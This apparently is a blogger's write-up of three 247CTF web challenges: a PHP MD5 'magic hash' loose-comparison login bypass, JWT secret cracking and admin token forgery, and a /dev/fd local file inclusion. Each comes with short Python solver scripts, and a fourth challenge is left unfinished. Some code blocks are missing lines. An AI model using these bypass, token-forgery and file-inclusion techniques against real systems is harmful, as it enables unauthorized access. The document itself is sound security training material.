247CTF - Moderate Web Challenge Writeups

Compare the pair

Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right?

Given the source code:

  $password_hash = "0e902564435691274142490923013038";
  $salt = "f789bbc328a3d1a3";
  if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
    echo $flag;
  echo highlight_file(__FILE__, true);

This challenge was really easy for me, as it is a PHP short one and very obvious, the password_hash value starts with 0e and all the following characters are only numbers, also the following line has a loose comparison vulnerability, it occurs when you are trying to compare two values with == instead of the strict comparison ===: if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash

Basically what we have to achieve is finding a string that when is mixed with the "f789bbc328a3d1a3" salt, creates an MD5 hash starting with 0e and all digits, for example:

I came up with the following python code:


import hashlib

salt = "f789bbc328a3d1a3"
iter = 0

def isMagicHash(hash: str, attempt: str, seed: str) -> bool:
        if hash[0:2] == "0e" and hash[2:32].isdigit():
                print(f"Attempt: {iter} | [+] {hash} | seed string: \"{seed}\"")
                return True
                print(f"Attempt: {iter} | [-] {hash} | seed string: \"{seed}\"")
                return False

while True:
        password = salt + str(iter)
        password = password.encode('utf-8')
        new_hash = hashlib.md5(password).hexdigest()

        if isMagicHash(new_hash, iter, str(iter)):
                iter += 1

Which basically tries to find an MD5 hash from the "f789bbc328a3d1a3" salt + random increasing strings until it finds a hash starting with 0e (0:2) and the rest of the characters are digits (2:32) as MD5 hashes have 32 alphanumeric digits.

The script found the 0e668271403484922599527929534016 hash, let's see if it works:

By submitting the correct string through the GET "password" parameter ($_GET['password']), it returns the flag.

Flag Authoriser

Can you forge a new identity to upgrade your access from an anonymous user to an admin?

Given the source code:

from flask import Flask, redirect, url_for, make_response, render_template, flash
from flask_jwt_extended import JWTManager, create_access_token, jwt_optional, get_jwt_identity
from secret import secret, admin_flag, jwt_secret

app = Flask(__name__)
cookie = "access_token_cookie"

app.config['SECRET_KEY'] = secret
app.config['JWT_SECRET_KEY'] = jwt_secret
app.config['JWT_TOKEN_LOCATION'] = ['cookies']
app.config['DEBUG'] = False

jwt = JWTManager(app)

def redirect_to_flag(msg):
    flash('%s' % msg, 'danger')
    return redirect(url_for('flag', _external=True))

def my_expired_token_callback():
    return redirect_to_flag('Token expired')

def my_invalid_token_callback(callback):
    return redirect_to_flag(callback)

def get_flag():
    if get_jwt_identity() == 'admin':
        return admin_flag

def flag():
    response = make_response(render_template('main.html', flag=get_flag()))
    response.set_cookie(cookie, create_access_token(identity='anonymous'))
    return response

def source():
    return "%s" % open(__file__).read()

if __name__ == "__main__":

We can see two URL decorators:

  • @app.route('/flag'): Where the function flag() is registered for the route "/flag" so that when this route is requested, /flag is called.
  • @app.route('/'): Where the function source() is registered and returns the source code itself when requested.

By reading up the challenge, we see what we have to make our own identity to be 'admin', so that the flag is returned.

def get_flag():
    if get_jwt_identity() == 'admin':
        return admin_flag

Sending a request to "/flag" and checking the server response headers:

The website orders us to create a cookie named "access_token_cookie" with the value: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjc3JmIjoiYTgyY2JhZmEtNTJlMS00NTJjLWIyMTEtZjc5NjQxMWFmOWM0IiwianRpIjoiNjk3MTBlMjMtZDEzOS00NjQ2LTg0MWUtYTQwNzU4YTc1YTU4IiwiZXhwIjoxNjQxNjc3MDQzLCJmcmVzaCI6ZmFsc2UsImlhdCI6MTY0MTY3NjE0MywidHlwZSI6ImFjY2VzcyIsIm5iZiI6MTY0MTY3NjE0MywiaWRlbnRpdHkiOiJhbm9ueW1vdXMifQ.ZlT6MVS9vADUIyuo2zKL7_66Q_7xXFP8TN_ApRdxJwg

Using https://jwt.io we can decode the JWT value, and we can see it stores information about our session:

The important stuff here is the Payload information:

  "csrf": "c2937b07-6efc-40a5-b1ed-01bd3d3f991f",
  "jti": "1be0eea6-07ca-4f87-978b-2a35e47c0bc0",
  "exp": 1641677279,
  "fresh": false,
  "iat": 1641676379,
  "type": "access",
  "nbf": 1641676379,
  "identity": "anonymous"

Saving up the cookie's value into a file, we can use John The Ripper to crack it and get the secret key used to sign the JWT token, and use it to craft our own token replacing the "identity": "anonymous" to "identity": "admin".

We found the 256-bit secret key, being wepwn247.

Sending a request to the "/flag" endpoint with this JWT token returns us the flag to complete this challenge.

Forgotten File Pointer

We have opened the flag, but forgot to read and print it. Can you access it anyway?

Given the source code:

  $fp = fopen("/tmp/flag.txt", "r");
  if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
  echo highlight_file(__FILE__, true);

We can see a potential Local File Inclusion - LFI vulnerability through the "include" parameter:

[... snip ...]

if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
[... snip ...]

However we have a 10 character length limitation, and we know the flag is stored in /tmp/flag.txt, which has 13 characters. Trying several wildcard injections as /tmp/f*, /tmp/flag.* won't work, at this point the $fp = fopen("/tmp/flag.txt", "r") came back to my mind, it is closed after the include, which means the flag is still stored in memory when trying to include a file. The path /tmp/flag.txt looks like a Linux folder structure:

Image from: http://www.linuxstories.net

And in Linux basically, everything is treated as a file, hence the flag should be stored somewhere on the system. The challenge name is "Forgotten File Pointer" and the PHP $fp variable means I think " File Pointer.
TLDR: The $fp variable is holding the contents of /tmp/flag.txt, so there must be a file on the system holding it as well.

Looking up on Google, I came across this article: https://bugs.php.net/bug.php?id=53465. It looks like files opened with the fopen() function are stored somewhere in /dev/fd/<fd> where <fd> is an integer. This makes sense as /dev/fd/ has 8 characters, so we have 3 more ones to FUZZ (0-999) before reaching the character length $_GET['include']) <= 10.

I first solved it with bash to see if the approach was correct, and it was.

However, I wanted to create a simple Python script because the challenge was fairly simple, and this is the little code I came up with:

import requests

URL = "https://add7cb70c46d1f29.247ctf.com"
LFI = "?include=/dev/fd/"

for x in range(999):
        r = requests.get(URL + LFI + str(x))
        if "247CTF" in r.text:

Acid Flag Bank

You can purchase a flag directly from the ACID flag bank, however there aren't enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?

To be done :)